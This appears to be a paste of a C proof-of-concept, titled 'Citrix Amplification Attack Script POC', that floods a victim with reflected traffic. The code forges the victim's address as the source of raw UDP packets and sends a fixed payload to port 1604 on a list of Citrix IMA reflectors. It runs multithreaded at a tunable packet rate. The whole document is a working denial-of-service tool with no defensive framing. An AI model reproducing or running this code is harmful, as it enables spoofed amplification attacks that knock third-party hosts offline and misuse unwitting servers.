Phenomite

Citrix Amplification Attack Script POC [citrix.c]

Sep 13th, 2020
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  1. /*-------------------------------
  2. Citrix IMA Service Amplification PoC on the dumb template C script.
  3. - Phenomite
  4. -------------------------------*/
  5. #include <arpa/inet.h>
  6. #include <netinet/ip.h>
  7. #include <netinet/udp.h>
  8. #include <pthread.h>
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <string.h>
  12. #include <sys/socket.h>
  13. #include <time.h>
  14. #include <unistd.h>
  15.  
  16. static unsigned int DPORT = 1604;
  17. static const char PAYLOAD[] =
  18.     "\x2a\x00\x01\x32\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  19.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x21\x00\x02\x00\x00\x00\x00\x00"
  20.     "\x00\x00\x00\x00\x00\x00";
  21.  
  22. // Phenomite template begin
  23. #define MAX_PACKET_SIZE 4096
  24. #define PHI 0xaaf219b9
  25. static uint32_t Q[4096], c = 362436;
  26. static unsigned int PAYLOADSIZE = sizeof(PAYLOAD) - 1;
  27.  
  28. struct list {
  29.   struct sockaddr_in data;
  30.   struct list *next;
  31.   struct list *prev;
  32. };
  33. struct list *head;
  34. volatile int tehport;
  35. volatile int limiter;
  36. volatile unsigned int pps;
  37. volatile unsigned int sleeptime = 100;
  38. struct thread_data {
  39.   int thread_id;
  40.   struct list *list_node;
  41.   struct sockaddr_in sin;
  42. };
  43.  
  44. void init_rand(uint32_t x) {
  45.   int i;
  46.   Q[0] = x;
  47.   Q[1] = x + PHI;
  48.   Q[2] = x + PHI + PHI;
  49.   for (i = 3; i < 4096; i++) {
  50.     Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  51.   }
  52. }
  53.  
  54. uint32_t rand_cmwc(void) {
  55.   uint64_t t, a = 18782LL;
  56.   static uint32_t i = 4095;
  57.   uint32_t x, r = 0xfffffffe;
  58.   i = (i + 1) & 4095;
  59.   t = a * Q[i] + c;
  60.   c = (t >> 32);
  61.   x = t + c;
  62.   if (x < c) {
  63.     x++;
  64.     c++;
  65.   }
  66.   return (Q[i] = r - x);
  67. }
  68.  
  69. /* function for header checksums */
  70. unsigned short csum(unsigned short *buf, int nwords) {
  71.   unsigned long sum;
  72.   for (sum = 0; nwords > 0; nwords--)
  73.     sum += *buf++;
  74.   sum = (sum >> 16) + (sum & 0xffff);
  75.   sum += (sum >> 16);
  76.   return (unsigned short)(~sum);
  77. }
  78.  
  79. void setup_ip_header(struct iphdr *iph) {
  80.   iph->ihl = 5;
  81.   iph->version = 4;
  82.   iph->tos = 0;
  83.   iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;
  84.   iph->id = htonl(61337);
  85.   iph->frag_off = 0;
  86.   iph->ttl = MAXTTL;
  87.   iph->protocol = IPPROTO_UDP;
  88.   iph->check = 0;
  89.   iph->saddr = inet_addr("127.0.0.1");
  90. }
  91. void setup_udp_header(struct udphdr *udph) {
  92.   udph->source = htons(61337);
  93.   udph->dest = htons(DPORT);
  94.   udph->check = 0;
  95.   memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE);
  96.   udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE);
  97. }
  98. void *flood(void *par1) {
  99.   struct thread_data *td = (struct thread_data *)par1;
  100.   char datagram[MAX_PACKET_SIZE];
  101.   struct iphdr *iph = (struct iphdr *)datagram;
  102.   struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr);
  103.   struct sockaddr_in sin = td->sin;
  104.   struct list *list_node = td->list_node;
  105.   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  106.   if (s < 0) {
  107.     fprintf(stderr, "Could not open raw socket.\n");
  108.     exit(-1);
  109.   }
  110.   init_rand(time(NULL));
  111.   memset(datagram, 0, MAX_PACKET_SIZE);
  112.   setup_ip_header(iph);
  113.   setup_udp_header(udph);
  114.   udph->source = htons(tehport);
  115.   iph->saddr = sin.sin_addr.s_addr;
  116.   iph->daddr = list_node->data.sin_addr.s_addr;
  117.   iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);
  118.   int tmp = 1;
  119.   const int *val = &tmp;
  120.   if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) {
  121.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  122.     exit(-1);
  123.   }
  124.   init_rand(time(NULL));
  125.   register unsigned int i;
  126.   i = 0;
  127.   while (1) {
  128.     list_node = list_node->next;
  129.     iph->daddr = list_node->data.sin_addr.s_addr;
  130.     iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  131.     iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);
  132.     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data,
  133.            sizeof(list_node->data));
  134.     pps++;
  135.     if (i >= limiter) {
  136.       i = 0;
  137.       usleep(sleeptime);
  138.     }
  139.     i++;
  140.   }
  141. }
  142. int main(int argc, char *argv[]) {
  143.   if (argc < 6) {
  144.     fprintf(stdout, "%s host port listfile threads limit[-1 for none] time\n",
  145.             argv[0]);
  146.     exit(-1);
  147.   }
  148.   srand(time(NULL));
  149.   int i = 0;
  150.   head = NULL;
  151.   fprintf(stdout, "Loading list to buffer\n");
  152.   int max_len = 512;
  153.   char *buffer = (char *)malloc(max_len);
  154.   buffer = memset(buffer, 0x00, max_len);
  155.   tehport = atoi(argv[2]);
  156.   int num_threads = atoi(argv[4]);
  157.   int maxpps = atoi(argv[5]);
  158.   limiter = 0;
  159.   pps = 0;
  160.   int multiplier = 20;
  161.   FILE *list_fd = fopen(argv[3], "r");
  162.   while (fgets(buffer, max_len, list_fd) != NULL) {
  163.     if ((buffer[strlen(buffer) - 1] == '\n') ||
  164.         (buffer[strlen(buffer) - 1] == '\r')) {
  165.       buffer[strlen(buffer) - 1] = 0x00;
  166.       if (head == NULL) {
  167.         head = (struct list *)malloc(sizeof(struct list));
  168.         bzero(&head->data, sizeof(head->data));
  169.         head->data.sin_addr.s_addr = inet_addr(buffer);
  170.         head->next = head;
  171.         head->prev = head;
  172.       } else {
  173.         struct list *new_node = (struct list *)malloc(sizeof(struct list));
  174.         memset(new_node, 0x00, sizeof(struct list));
  175.         new_node->data.sin_addr.s_addr = inet_addr(buffer);
  176.         new_node->prev = head;
  177.         new_node->next = head->next;
  178.         head->next = new_node;
  179.       }
  180.       i++;
  181.     } else {
  182.       continue;
  183.     }
  184.   }
  185.   struct list *current = head->next;
  186.   pthread_t thread[num_threads];
  187.   struct sockaddr_in sin;
  188.   sin.sin_family = AF_INET;
  189.   sin.sin_addr.s_addr = inet_addr(argv[1]);
  190.   struct thread_data td[num_threads];
  191.   for (i = 0; i < num_threads; i++) {
  192.     td[i].thread_id = i;
  193.     td[i].sin = sin;
  194.     td[i].list_node = current;
  195.     pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);
  196.   }
  197.   fprintf(stdout, "Yeeting\n");
  198.   for (i = 0; i < (atoi(argv[6]) * multiplier); i++) {
  199.     usleep((1000 / multiplier) * 1000);
  200.     if ((pps * multiplier) > maxpps) {
  201.       if (1 > limiter) {
  202.         sleeptime += 100;
  203.       } else {
  204.         limiter--;
  205.       }
  206.     } else {
  207.       limiter++;
  208.       if (sleeptime > 25) {
  209.         sleeptime -= 25;
  210.       } else {
  211.         sleeptime = 0;
  212.       }
  213.     }
  214.     pps = 0;
  215.   }
  216.   return 0;
  217. }
  218.  
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